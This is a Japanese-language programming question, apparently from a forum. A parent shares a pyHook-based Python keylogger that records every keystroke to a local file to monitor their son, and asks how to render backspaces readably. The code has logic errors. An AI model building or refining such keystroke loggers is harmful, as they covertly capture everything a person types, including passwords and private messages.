私は pyHook を使用して重要なイベントをキャプチャし、息子の Web アクティビティを監視しています。バックスペース キーを使用すると、メモ帳に小さな黒いボックスとして表示される ascii としてファイルに書き込まれることに気付きました。
このブラックボックスを置き換える[BACKSPACE]
か、ファイル内の文字を一般的にバックスペースして、読みやすくする方法はありますか?
これまでの私のコードは次のとおりです。
import win32api
import sys
import pythoncom
import pyHook
import os
from time import strftime
buffer = ''
if os.path.isfile('c:\\output.txt'):
f = open('c:\\output.txt','a')
f.write(strftime("\n\n%A, %d. %B %Y %I:%M%p\n\n"))
f.close()
else:
f = open('c:\\output.txt','w')
f.write(strftime("%A, %d. %B %Y %I:%M%p\n\n"))
f.close()
def OnKeyboardEvent(event):
if event.Ascii == 5:
sys.exit()
elif event.Ascii != 0 or 8:
keylogs = chr(event.Ascii)
elif event.Ascii == 13:
keylogs = keylogs + '\n'
else:
pass
f = open('c:\\output.txt','a')
f.write(keylogs)
f.close()
while True:
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()